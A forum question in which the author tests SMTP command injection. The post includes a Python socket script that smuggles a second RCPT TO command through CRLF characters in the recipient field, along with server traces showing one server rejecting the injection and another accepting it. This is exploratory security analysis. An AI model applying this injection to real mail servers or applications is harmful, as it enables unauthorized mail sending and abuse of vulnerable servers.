On another thread a user was trying to use SMTP injections and, as a test, trying to inject a supplementary recipient for this email.
My understanding of the issue preventing him from succeeding were the following:
- He uses Python SMTPlib which filters parameters (unexpected data is silently dropped) precisely in order to prevent such attacks,
- He was injecting data at the wrong place, affecting the mail data instead of the actual SMTP protocol exchange.
However, following comments show that my understanding is erroneous and I still do not understand why. So, to avoid out-of-topic discussion on this previous thread, I open a new question with more details on my point of view.
I have written below a quick proof of concept, still in Python, and voluntary not using SMTPlib since as said above this library include protection against SMTP injection:
#! /usr/local/bin/python3.3 host = "smtp.example.com" port = 2525 sender = "email@example.com" # Injection occurs here: recipient = "firstname.lastname@example.org>\r\nRCPT TO:<email@example.com" msg = "From: \"Bob Example\" <firstname.lastname@example.org>\r\n" + \ "To: \"Alice Example\" <email@example.com>\r\n" + \ "Cc: firstname.lastname@example.org\r\n" + \ "Date: Tue, 15 January 2008 16:02:43 -0500\r\n" + \ "Subject: Test message\r\n" + \ "\r\n" + \ "This is a test\r\n" import re import socket import time def getReply(sock): time.sleep(0.1) reply = str(sock.recv(4096), "ascii") if reply != '2' and reply != '3': raise RuntimeError("SMTP error: " + reply) print("S: " + reply) def sendCmd(sock, cmd): sock.sendall(bytes(cmd, "ascii")) print("C: " + cmd) getReply(sock) sock = socket.create_connection((host, port)) getReply(sock) sendCmd(sock, "EHLO somebody.example.com\r\n") sendCmd(sock, "MAIL FROM:<" + sender + ">\r\n") sendCmd(sock, "RCPT TO:<" + recipient + ">\r\n") sendCmd(sock, "DATA\r\n") sendCmd(sock, msg + "\r\n.\r\n") sendCmd(sock, "QUIT\r\n") sock.close()
This scripts simulates and SMTP injection in the recipient field.
A secure SMTP server can detect such injection because of the presence of trailing data after the line feed at the end of the
RCPT TO: command. The output below is produced when executing this scripts against private OpenBSD OpenSMTPD server:
S: 220 smtp.example.com ESMTP OpenSMTPD C: EHLO somebody.example.com S: 250-smtp.example.com Hello somebody.example.com [127.0.0.1], pleased to meet you 250-8BITMIME 250-ENHANCEDSTATUSCODES 250-SIZE 36700160 250-DSN 250 HELP C: MAIL FROM:<email@example.com> S: 250 2.0.0: Ok C: RCPT TO:<firstname.lastname@example.org> RCPT TO:<email@example.com> Traceback (most recent call last): File "./semail.py", line 31, in <module> sendCmd(sock, "RCPT TO:<" + recipient + ">\r\n") File "./semail.py", line 25, in sendCmd getReply(sock) File "./semail.py", line 19, in getReply raise RuntimeError("SMTP error: " + reply) RuntimeError: SMTP error: 500 5.5.1 Invalid command: Pipelining not supported
A secure SMTP server correctly detects suspicious data and reject the request.
However, unsecured mail server will read incoming data line per line and will not detect the issue. The trace below has been obtained when executing the same script against a major public email services provider:
S: 220 smtp.example.com ESMTP ready C: EHLO somebody.example.com S: smtp.example.com 250-PIPELINING 250-SIZE 41943040 250-8BITMIME 250 STARTTLS C: MAIL FROM:<firstname.lastname@example.org> S: 250 sender <email@example.com> ok C: RCPT TO:<firstname.lastname@example.org> RCPT TO:<email@example.com> S: 250 recipient <firstname.lastname@example.org> ok 250 recipient <email@example.com> ok C: DATA S: 354 go ahead C: From: "Bob Example" <firstname.lastname@example.org> To: "Alice Example" <email@example.com> Cc: firstname.lastname@example.org Date: Tue, 15 January 2008 16:02:43 -0500 Subject: Test message This is a test . S: 250 ok dirdel 1/1 C: QUIT S: 221 smtp.example.com
An unsecure SMTP server consumes and executes injected commands. Here the emails have been correctly received by the recipients.
My conclusion after this test is that the SMTP injection of
RCPT TO: commands using the recipient field is successful, and its execution toward different servers shows that some servers are more protected that others against this attack.
Moreover, in this example an
RCTP TO: command was used as a follow up of the original question, however at this step one has just access to the plain SMTP protocol discussion and is free to inject any command on vulnerable servers.
However, the comments on the original thread seems to indicate that I am currently missing something crucial in my analysis and that such conclusions are therefore irrelevant.
May someone help me to determine where exactly I am wrong in my analysis of this issue?